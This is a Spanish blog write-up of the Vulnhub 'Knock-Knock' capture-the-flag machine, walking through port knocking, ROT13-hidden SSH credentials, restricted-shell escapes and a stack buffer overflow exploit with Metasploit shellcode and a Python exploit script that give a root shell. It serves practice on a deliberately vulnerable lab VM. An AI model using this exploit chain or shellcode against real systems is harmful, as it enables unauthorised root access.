Seguridad informática

  • Blog
  • Noticias

Knock-Knock writeup

En la web de Vulnhub podemos encontrar muchísimas maquinas virtuales preparadas para explotar fallos conocidos y utilizar distintos trucos para penetrar sistemas y encontrar brechas de seguridad. Hoy voy a postear mi solucionario para una de las máquinas que más me han gustado hasta ahora: Knock-Knock: 1.1

Descripción

descripcion-knock-knock

Tuve una idea chula que no había visto antes en una maquina virtual y quería convertirlo en realidad.
Tu trabajo consiste en escalar y coger la bandera.
Recuerda : Hay una diferencia entre "puerto inalcanzable" y "host inalcanzable". DHCP no está roto;)
Tengo que dar un gran shoutout a c0ne por ayudar a crear el reto binario y rasta_mouse y recrudesce para pruebas :)
Además, tengo que gracias barrebas que era capaz de encontrar una manera de hacer las cosas más fáciles ... pero por supuesto que se arregla con esta actualización! ;)
MD5 - 3b6839a28b4be64bd71598aa374ef4a6 ronda ronda 1-1.ova
SHA1 - 0ec29d8baad9997fc250bda65a307e0f674e4180 ronda ronda 1-1.ova
Sientete libre para comentarme en #vulnhub en freenode - zer0w1re

Let’s go!

Primero identificamos la ip que se le ha asignado a la maquina virtual y realizamos un escaneo rutinario

netdiscover
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~# netdiscover -i eth0
 
Currently scanning: 192.168.29.0/16   |   Screen View: Unique Hosts
 
14 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 840
_____________________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
-----------------------------------------------------------------------------
192.168.1.113   08:00:27:be:dd:c8    01    060   CADMUS COMPUTER SYSTEMS
 
root@kali:~# nmap -sS -sV -PN 192.168.1.113
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:04 EST
Nmap scan report for 192.168.1.113
Host is up (0.00042s latency).
All 1000 scanned ports on 192.168.1.113 are filtered
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.74 seconds

Parece que no obtenemos ningún resultado, pero ya nos daba una pista en la descripción DHCP is not broken y por el nombre de la maquina virtual, supongo que nos toca jugar con puertos. Lo primero que pienso es en «portknocking» y me pongo a googlear para refrescar la memoria.

    • Port Knocking (Español)

https://wiki.archlinux.org/index.php/Port_Knocking_(Espa%C3%B1ol)

    • How To Use Port Knocking to Hide your SSH Daemon from Attackers

https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu

Después de una rápida lectura, hagamos un escaneo mas profundo, esta vez golpeando

1
2
3
4
5
6
7
root@kali:~# for i in {1..65535};do nmap -PN --host_timeout 201 --max-retries 0  -p $i 192.168.1.113;done|grep open
260/tcp filtered openport
557/tcp filtered openvms-sysipc
1194/tcp filtered openvpn
1259/tcp filtered opennl-voice
1337/tcp open  waste
1473/tcp filtered openmath

Perfecto! Tenemos abierto el 1337, vamos a investigarlo un poco

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# nc -vv 192.168.1.113 1337
192.168.1.113: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.113] 1337 (?) open
[24680, 23810, 58745]
sent 0, rcvd 22
root@kali:~# telnet 192.168.1.113 1337
Trying 192.168.1.113...
Connected to 192.168.1.113.
Escape character is '^]'.
[30825, 34256, 14349]
Connection closed by foreign host.

Nos da poca información, ningún banner, pero me resulta curioso ver 3 puertos en la salida. Voy a golpearlos!. En el artículo de port knocking en español leí: Port knocking (Tocar puertos) es un método discreto de abrir puertos que, por default, el firewall mantiene cerrado. Funciona requiriendo intentos de conexión a una serie de puertos predefinidos cerrados. Cuando la secuencia correcta de «toquidos» a puertos (intentos de conexión) es recibida, el firewall abre entonces cierto(s) puerto(s). Así que imagino que si golpeamos esos tres puertos en el orden correcto otros puertos se abrirán a nuestra ip y en teoría los veremos con el nmap. Primero probamos en el mismo orden que aparecen después de cerrar telnet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~# nmap -PN --host_timeout 201 --max-retries 0  -p 30825,34256,14349 192.168.1.113
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:58 EST
Nmap scan report for 192.168.1.113
Host is up (0.00057s latency).
PORT      STATE    SERVICE
14349/tcp filtered unknown
30825/tcp filtered unknown
34256/tcp filtered unknown
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
root@kali:~# nmap -F 192.168.1.113
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:58 EST
Nmap scan report for 192.168.1.113
Host is up (0.00029s latency).
All 100 scanned ports on 192.168.1.113 are filtered
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds

Ouch!, no ha habido suerte. Tendremos que crear un script que pruebe todas las combinaciones de golpeos posibles a esos tres puertos y hagamos «fuerza bruta». Usaremos lo mismo que hasta ahora : telnet y nmap

tok-tok.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
#LoRKa pax0r script for knock-knock vm (vulnhub.com)
host=192.168.1.113
puertos=`telnet $host 1337 |grep "," |sed 's/,/ /'|sed 's/,/ /'|sed 's/\[/ /'|sed 's/\]/ /'`
file=lista.txt
 
rm -rf $file
 
for c1 in $puertos
do
    for c2 in $puertos
    do
        if [ "$c1" != "$c2" ]; then
            for c3 in $puertos
            do
                if [ "$c1" != "$c3" ]; then
                    [ $c1 -ne $c2 -a $c1 -ne $c3 -a $c2 -ne $c3 ] && echo $c1 >> $file && echo $c2 >> $file && echo $c3 >> $file
                fi
            done
        fi
    done
done
 
for i in `cat $file`;do nmap -PN --host_timeout 201 --max-retries 0  -p $i $host;done 2>&1
 
nmap -F $host

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@kali:~# ./tok-tok.sh
Connection closed by foreign host.
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up (0.00026s latency).
PORT      STATE    SERVICE
34916/tcp filtered unknown
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up (0.00072s latency).
PORT      STATE    SERVICE
58747/tcp filtered unknown
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
.................................
..........................................
...................................................
............................................................
 
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up (0.00069s latency).
Not shown: 98 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC)
 
Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds
root@kali:~#

Eureka!! Ahora el firewall nos enseña los puertos abiertos a nuestra direccion ip local, vamos a ver que hay por ahi..
En la web vemos

knock-index

Después de mirar el código y no encontrar nada, hice un escaneo a posibles directorios y archivos ocultos con wfuzz , también le pasé nikto y tampoco obtuve resultados en ningún caso. Esto me llevó a pensar que tal vez hubiera algún fallo en el ssh, miré la versión que devolvía el banner y me rallé un rato con eso también, probé fuerza bruta con diccionarios fáciles al ssh y tampoco obtuve nada.

1
2
3
4
5
6
7
8
root@kali:~# nc -vv 192.168.1.113 22
192.168.1.113: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.113] 22 (ssh) open
SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2
 
Protocol mismatch.
sent 1, rcvd 58
root@kali:~#

Entonces caí en la cuenta de que lo único que no habia visto a fondo era la imagen que aparecía en el index, la descargué y …

knockknock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# strings knockknock.jpg
JFIF
Ducky
http://ns.adobe.com/xap/1.0/
<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
  .................
  ......................
  .............................
  ....................................
\Uv*
*M1W
tR)O
MO:/?
qW|U
\+\U
Login Credentials
abfnW
sax2Cw9Ow
root@kali:~#

Esos «Login Credentials» deben ser del otro servicio que tenemos activo, el ssh. Tras probar usuario: abfnW y password: sax2Cw9Ow (y viceversa), solo obtuve «password incorrect». Entonces pensé que estaban cifrados de algun modo. Como no era base64 ni md5 fuí directamente a google y puse «Cifrados simples» y el primer artículo que aparece, de wikipedia, nos da la respuesta. nuestro cifrado es rot13 y vamos a ayudarnos de un pequeño programa en c para descifrarlo.

rot13.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include
#include
 
int main(int argc, char **argv) {
    int ch = '\0';
    while((ch = fgetc(stdin)) != EOF)
    {
      /* for every char in stdin */
      unsigned char c = (unsigned char)ch;
      if(
(c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ) { /* if letter */ unsigned char abs; if(c >= 'a' && c <= 'z') /* for every small letter */ abs = c - 'a'; else if(c >= 'A' && c <= 'Z') /* for every big letter */ abs = c - 'A'; abs = abs + 13; /* dot rot13 */ if(abs >= 26)
  abs -= 26; /* wrap */
if(c >= 'a' && c <= 'z') /* for every small letter */ c = abs + 'a'; else if(c >= 'A' && c <= 'Z') /* for every big letter */
  c = abs + 'A';
 
      };
      printf("%c",c);
    }
    return 0;
}

copiamos las dos palabras a un txt… y …

1
2
3
4
5
6
7
root@kali:~# cat password
abfnW
sax2Cw9Ow
root@kali:~# cat password |./rot13
nosaJ
fnk2Pj9Bj
root@kali:~#

Tras probarlas sin resultado ninguno de nuevo me fijo en «nosaJ» , hmmm ¿»Jason»? voy a copiar al fichero password la cadena alrevés y la voy a volver a pasar por el rot13..

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~# cat pass
abfnW
sax2Cw9Ow
 
Wnfba
wO9wC2xas
root@kali:~# cat pass|./rot13
nosaJ
fnk2Pj9Bj
 
Jason
jB9jP2knf
root@kali:~#

tras un par de intentos (el usuario Jason es con minúscula y aun no se por qué..) consigo entrar a la maquina. Hago un ls y veo un archivo con setuid root pero..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~# ssh -l jason 192.168.1.113
jason@192.168.1.113's password:
Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Jan  6 11:57:50 2016 from 192.168.1.106
 
jason@knockknock:~$ ls -alt
total 32
drwxr-xr-x 2 jason jason 4096 Oct 11  2014 .
-rw------- 1 jason jason 2396 Oct 11  2014 .viminfo
-rwsr-xr-x 1 root  jason 7457 Oct 11  2014 tfc
lrwxrwxrwx 1 jason jason    9 Sep 26  2014 .bash_history -> /dev/null
-rw-r--r-- 1 jason jason 3398 Sep 25  2014 .bashrc
-rw-r--r-- 1 jason jason  675 Sep 24  2014 .profile
drwxr-xr-x 3 root  root  4096 Sep 24  2014 ..
-rw-r--r-- 1 jason jason  220 Sep 24  2014 .bash_logout
jason@knockknock:~$ ./tfc
-rbash: ./tfc: restricted: cannot specify `/' in command names
jason@knockknock:~$

oh wait! una «restricted bash»!! , a los oldschool les sonaran estas técnicas de los viejos wargames y no está mal repasarlas, así que echamos un vistazo a https://en.wikipedia.org/wiki/Restricted_shell y nuestra querida wikipedia vuelve a darnos la solución

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
jason@knockknock:~$ vi
 
:set shell=/bin/sh
:shell
 
$ id
uid=1000(jason) gid=1000(jason) groups=1000(jason),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
$ ./tfc
_______________________________
\__    ___/\_   _____/\_   ___ \
  |    |    |    __)  /    \  \/
  |    |    |     \   \     \____
  |____|    \___  /    \______  /
                \/            \/
 
Tiny File Crypter - 1.0
 
Usage: ./tfc <filein.tfc> <fileout.tfc>
$

Más tarde descubrí una forma mas cool de escapar, que desconocía y aprendí gracias a este reto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
jason@knockknock:~$ ftp
ftp> !
jason@knockknock:~$ ./tfc
_______________________________
\__    ___/\_   _____/\_   ___ \
  |    |    |    __)  /    \  \/
  |    |    |     \   \     \____
  |____|    \___  /    \______  /
                \/            \/
 
Tiny File Crypter - 1.0
 
Usage: ./tfc <filein.tfc> <fileout.tfc>
jason@knockknock:~$

Bueno, pues llegados a este punto y después de revisar un poco la maquina en general sin encontrar ningun fichero extraño ni mas binarios con setuid, tenemos claro que nuestro reto ya se centra en el binario «tfc» , creado por c0ne y al que se le dan agradecimientos en la descripción inicial.

Tras analizar la situación descargamos «tfc» para trabajar con él en local:

1
root@kali:/tmp# scp jason@10.0.0.202:/home/jason/tfc /root/Desktop/tfc


**********************************************************************************************

  Buffer Overflood

**********************************************************************************************

Realizando pruebas, vemos que «tfc» es un programa que cifra y descifra ficheros con extensión .tfc con un algoritmo simétrico. Cuando le pasamos que cifre un fichero de 6000 caracteres «peta». Verificamos la seguridad y vemos que está todo deshabilitado. Para probar creamos un fichero de 100 caracteres (in.tfc) y lo ciframos con el programita ./tfc (out.tfc).
Analizamos el contenido y anotamos el comienzo del archivo cifrado (def0 5bab) ya que es un patrón que se repite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# gdb -q ./tfc
root@kali:~# gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabledpython -c 'print "A" * 100' > in.tfc
root@kali:~# ./tfc in.tfc out.tfc
>> File crypted, goodbye!
root@kali:~# xxd out.tfc | head
00000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
00000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c  ).Aotg.\!.E?...l
00000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979  +..B..$f5%..&..y
00000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77  ..|S[I;R...+T..w
00000040: e104 0424 cd9f e437 f09c 3f69 0095 7727  ...$...7..?i..w'
00000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41  ..3...s<A..^..^A
00000060: 9a35 9167 87                             .5.g.

Ahora vamos a intentar cifrar el archivo de 6000 caracteres ampliando el tamaño del buffer.
Creamos un fichero de 6000 caracteres (in.tfc) y lo ciframos con el programita ./tfc (El programa falla y out.tfc no se escribe quedando a 0 bytes, pero todo el buffer se guarda en core).
Analizamos el contenido de core y buscamos la posicion de memoria donde comienza el cifrado (def0 5bab).
Como resultado obtenemos (00032960), ¡ojo está en hexadecimal!.

1
2
3
4
5
6
root@kali:~# ulimit -c unlimited
root@kali:~# python -c 'print "A" * 6000' > in.tfc
root@kali:~# ./tfc in.tfc out.tfc
Segmentation fault (core dumped)
root@kali:~/Desktop# xxd core | grep 'def0 5bab'
00032960: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H

Averiguamos la dirección de la instrucción «jmp» para poder sobreescribir la direccion de retorno y decir al programa que vuelva al comienzo de la pila. Anotamos nuestro resultado (0x08048e93).

1
2
root@kali:~# /usr/bin/msfelfscan -j esp -f /root/Desktop/tfc
0x08048e93   jmp esp

Realizando el método de prueba y error averiguamos la longitud de archivo donde se desborda el buffer.
El valor correcto es 4214.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#root@kali:~/Desktop/knockknock# gdb .tfc
GNU gdb (Debian 8.1-4) 8.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
.tfc: No such file or directory.
 
gdb-peda$ run in.tfc out.tfc
 
###4123
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffce5a50 --> 0xab5bf0de
EDX: 0xffffffb4
ESI: 0xf7efd000 --> 0x1d5d8c
EDI: 0x0
EBP: 0x4755193b
ESP: 0xffce6a70 --> 0xffce7504 ("in.tfc")
EIP: 0x804896b (<main+71>: leave)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804895a <main+54>: mov    DWORD PTR [esp],0x8048b38
   0x8048961 <main+61>: call   0x8048480 <puts@plt>
   0x8048966 <main+66>: mov    eax,0x0
=> 0x804896b <main+71>: leave  
   0x804896c <main+72>: ret    
   0x804896d: nop
   0x804896e: nop
   0x804896f: nop
[------------------------------------stack-------------------------------------]
0000| 0xffce6a70 --> 0xffce7504 ("in.tfc")
0004| 0xffce6a74 --> 0xffce750b ("out.tfc")
0008| 0xffce6a78 --> 0x804898b (<__libc_csu_init+11>: add    ebx,0x13bd)
0012| 0xffce6a7c --> 0x0
0016| 0xffce6a80 --> 0xf7efd000 --> 0x1d5d8c
0020| 0xffce6a84 --> 0xf7efd000 --> 0x1d5d8c
0024| 0xffce6a88 --> 0x0
0028| 0xffce6a8c --> 0xf7d409a1 (<__libc_start_main+241>: add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804896b in main ()
 
#4124
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffc65130 --> 0xab5bf0de
EDX: 0xffffffb4
ESI: 0xf7f73000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xc55193b
ESP: 0xffc66150 --> 0xffc66504 ("in.tfc")
EIP: 0x804895d (<main+57>: cmp    BYTE PTR [ebx+0x1ae80804],cl)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x804895d <main+57>: cmp    BYTE PTR [ebx+0x1ae80804],cl
   0x8048963 <main+63>: sti    
   0x8048964 <main+64>: (bad)  
   0x8048965 <main+65>: (bad)
[------------------------------------stack-------------------------------------]
0000| 0xffc66150 --> 0xffc66504 ("in.tfc")
0004| 0xffc66154 --> 0xffc6650b ("out.tfc")
0008| 0xffc66158 --> 0x804898b (<__libc_csu_init+11>: add    ebx,0x13bd)
0012| 0xffc6615c --> 0x0
0016| 0xffc66160 --> 0xf7f73000 --> 0x1d5d8c
0020| 0xffc66164 --> 0xf7f73000 --> 0x1d5d8c
0024| 0xffc66168 --> 0x0
0028| 0xffc6616c --> 0xf7db69a1 (<__libc_start_main+241>: add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804895d in main ()
 
###4125
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffea1d30 --> 0xab5bf0de
EDX: 0xffffffb4
ESI: 0xf7efe000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xc55193b
ESP: 0xffea2d50 --> 0xffea3504 ("in.tfc")
EIP: 0x8048216 --> 0x3d0000 ('')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048210: add    BYTE PTR [eax],al
   0x8048212: add    BYTE PTR [eax],al
   0x8048214: adc    al,BYTE PTR [eax]
=> 0x8048216: add    BYTE PTR [eax],al
   0x8048218: cmp    eax,0x0
   0x804821d: add    BYTE PTR [eax],al
   0x804821f: add    BYTE PTR [eax],al
   0x8048221: add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffea2d50 --> 0xffea3504 ("in.tfc")
0004| 0xffea2d54 --> 0xffea350b ("out.tfc")
0008| 0xffea2d58 --> 0x804898b (<__libc_csu_init+11>: add    ebx,0x13bd)
0012| 0xffea2d5c --> 0x0
0016| 0xffea2d60 --> 0xf7efe000 --> 0x1d5d8c
0020| 0xffea2d64 --> 0xf7efe000 --> 0x1d5d8c
0024| 0xffea2d68 --> 0x0
0028| 0xffea2d6c --> 0xf7d419a1 (<__libc_start_main+241>: add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08048216 in ?? ()

Nos queda generar el shellcode que nos dará acceso a la shell con permisos de root, se ejecutará en el punto donde desborde el buffer. Como podéis ver a continuación por comodidad lo he generado con Metasploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@kali:~/Desktop/knockknock# msfconsole
                                                  
         .                                         .
.
 
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB
 
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP
 
                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before
 
 
       =[ metasploit v4.17.3-dev                          ]
+ -- --=[ 1795 exploits - 1019 auxiliary - 310 post       ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use payload/linux/x86/exec
msf payload(linux/x86/exec) > set CMD /bin/sh
msf payload(linux/x86/exec) >  generate -b '\x00'
# linux/x86/exec - 70 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\xbd\xcc\x27\x23\x63\xdb\xd0\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x0b\x83\xc7\x04\x31\x6f\x11\x03\x6f\x11\xe2\x39\x4d" +
"\x28\x3b\x58\xc0\x48\xd3\x77\x86\x1d\xc4\xef\x67\x6d\x63" +
"\xef\x1f\xbe\x11\x86\xb1\x49\x36\x0a\xa6\x42\xb9\xaa\x36" +
"\x7c\xdb\xc3\x58\xad\x68\x7b\xa5\xe6\xdd\xf2\x44\xc5\x62"

Ya tenemos todos los datos necesarios para montar nuestro exploit. Por comodidad utilizo una plantilla que vi foro de @knapsy (https://blog.knapsy.com)

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
 
# Metasploit generated shellcode - 70 bytes
shellcode = "\xdb\xd0\xbd\x79\xf6\x5f\x15\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x68\x1a\x03\x68\x1a\x83\xc0\x04\xe2\x8c\x9c\x54\x4d\xf7\x33\x0d\x05\x2a\xd7\x58\x32\x5c\x38\x28\xd5\x9c\x2e\xe1\x47\xf5\xc0\x74\x64\x57\xf5\x8f\x6b\x57\x05\xbf\x09\x3e\x6b\x90\xbe\xa8\x73\xb9\x13\xa1\x95\x88\x14"
 
content = "A" * 4124             # fill up the buffer
content += "\x93\x8e\x04\x08"    # overwrite return address with address of 'jmp esp' instruction
content += "\x83\xec\x7f"        # instruction code for 'sub $esp, 175' to make space on the stack for the shellcode (basically rewinding stack)
content += shellcode             # our shellcode (70 bytes)
content += "\x90" * 105          # padding after the shellcode to ensure nothing immediatelly after the shellcode is executed as well and therefore corrupting our shellcode
 
# Print the exploit (we'll redirect output to file)
print content

Ahora tenemos que hacer que la aplicación procese todo, para ello vamos a generar el exploit y lo vamos a cifrar.

1
2
3
root@kali:~# python exploit.py > exploit.in.tfc
root@kali:~# ./tfc exploit.in.tfc exploit.out.tfc
Segmentation fault (core dumped)

Al ser demasiado grande y no procesarlo lo rescataremos del buffer. Cotejamos la dirección de memoria que teniamos antes anotada y al pasarla a decimal nos salen 207200 bytes (00032960). A partir de este punto cogemos 4306 bytes que es lo que ocupa el exploit y le damos salida.

1
2
3
4
5
6
root@kali:~/Desktop# xxd core | grep 'def0 5bab'
00032960: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
root@kali:~/Desktop# dd if=core of=exploit.out.tfc skip=207200 count=4306 bs=1
4306+0 records in
4306+0 records out
4306 bytes (4,3 kB, 4,2 KiB) copied, 0,0166752 s, 258 kB/s

Solo queda subirlo a la máquina objetivo, conectarnos, y usarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@kali:~/Desktop# scp /root/Desktop/exploit.out.tfc jason@10.0.0.202:.
jason@10.0.0.202's password:
exploit.out.tfc                               100% 4306     6.4MB/s   00:00    
root@kali:~/Desktop# ssh jason@10.0.0.202
jason@10.0.0.202's password:
Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686
jason@knockknock:~$ nice /bin/bash
jason@knockknock:~$ ./tfc exploit.out.tfc damelasllaves.tfc
# id
uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason)
# whoami
root
# ls -alt /root
total 56
drwx------  6 root root 4096 Oct 11  2014 .
-rw-------  1 root root 6615 Oct 11  2014 .viminfo
-rw-r--r--  1 root root 1459 Oct 11  2014 crpt.py
drwxr-xr-x  2 root root 4096 Oct 10  2014 the_flag_is_in_here
-rwxr-xr-x  1 root root 1027 Oct 10  2014 server.py
lrwxrwxrwx  1 root root    9 Sep 26  2014 .bash_history -> /dev/null
-rwxr-xr-x  1 root root  119 Sep 26  2014 start.sh
drwx------  2 root root 4096 Sep 25  2014 .ssh
-rw-r--r--  1 root root   10 Sep 25  2014 .vimrc
drwxr-xr-x  2 root root 4096 Sep 25  2014 .vim
drwx------  2 root root 4096 Sep 24  2014 .aptitude
drwxr-xr-x 22 root root 4096 Sep 24  2014 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
# cd /root
# cd the_flag_is_in_here
# ls
qQcmDWKM5a6a3wyT.txt
# cat qQcmDWKM5a6a3wyT.txt
__                         __              __                         __      ____
|  | __ ____   ____   ____ |  | __         |  | __ ____   ____   ____ |  | __ /_   |
|  |/ //    \ /  _ \_/ ___\|  |/ /  ______ |  |/ //    \ /  _ \_/ ___\|  |/ /  |   |
|    <|   |  (  <_> )  \___|    <  /_____/ |    <|   |  (  <_> )  \___|    <   |   |
|__|_ \___|  /\____/ \___  >__|_ \         |__|_ \___|  /\____/ \___  >__|_ \  |___|
     \/    \/            \/     \/              \/    \/            \/     \/      
Hooray you got the flag!
 
Hope you had as much fun r00ting this as I did making it!
 
Feel free to hit me up in #vulnhub @ zer0w1re
 
Gotta give a big shout out to c0ne, who helpped to make the tfc binary challenge,
as well as rasta_mouse, and recrudesce for helping to find bugs and test the VM :)
 
root password is "qVx4UJ*zcUdc9#3C$Q", but you should already have a shell, right? ;)

Bueno ya tenemos la bandera, contiene una nota del autor zer0w1re, unos agradecimientos a sus colaboradores, y la password de root 🙂

Evidentemente hay más metodos para realizar este reto, desde mi punto de vista mucho más complicados.
Espero que os sea de provecho este «writeup», y hayáis disfrutado.

Salu2

Archivado en: WriteUp Etiquetado con: Vulnhub

Ultimos Articulos

  • Bash del br0nx #1
  • Breaking bad [IoT]: Capítulo 4 Shell y extracción de firmware
  • Breaking bad [IoT]: Capítulo 3 conociendo UART
  • Breaking bad [IoT]: Capítulo 2 – Extracción de firmware
  • Breaking bad [IoT]: Capítulo 1 Revisión e identificación de hardware
  • Charlas Hack&Beers Almeria 2018
  • Hack&Beers Almería
  • Temple of Doom – Walktrough
  • Lin.Security: 1 – CTF Walkthrough
  • Yo solo navegaba por ahí: de la visita a la infección con Ransomware (u otro malware)

Since © 1998